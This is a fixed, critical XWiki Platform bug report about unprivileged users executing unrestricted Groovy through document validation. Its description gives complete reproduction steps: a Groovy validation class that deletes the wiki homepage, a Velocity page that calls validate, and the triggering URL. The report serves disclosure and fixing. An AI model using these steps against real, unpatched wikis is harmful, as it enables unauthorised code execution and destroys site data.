Uploaded image for project: 'XWiki Platform'
  1. XWiki Platform
  2. XWIKI-12437

Unrestricted Groovy execution via validation

    XMLWordPrintable

Details

    • Bug
    • Resolution: Fixed
    • Critical
    • 7.2-milestone-3
    • 7.1.2
    • Old Core
    • None
    • Unit
    • Unknown
    • N/A
    • N/A

    Description

      With an unprivileged user, create a document (let's call it Sandbox.hack) with the following content:

      import com.xpn.xwiki.validation.*;
      import com.xpn.xwiki.*;
      import com.xpn.xwiki.doc.*;
      import com.xpn.xwiki.objects.*;
      
      public class XV implements com.xpn.xwiki.validation.XWikiValidationInterface {
         public boolean validateDocument(XWikiDocument doc, XWikiContext context) {
          context.getWiki().deleteDocument(context.getWiki().getDocument('Main.WebHome', context), context);
          return true;
        }
      
        public boolean validateObject(BaseObject object, XWikiContext context) { 
          return true;
        }
      }
      

      Then write a new page (let's call it Sandbox.callHack) with the following content:

      {{velocity}}
      $doc.validate()
      {{/velocity}}
      

      Save and view it with /bin/Sandbox/callHack?xvalidation=Sandbox.hack

      Oops, the homepage is gone!

      Attachments

        Activity

          People

            tmortagne Thomas Mortagne
            sdumitriu Sergiu Dumitriu
            Votes:
            0 Vote for this issue
            Watchers:
            2 Start watching this issue

            Dates

              Created:
              Updated:
              Resolved: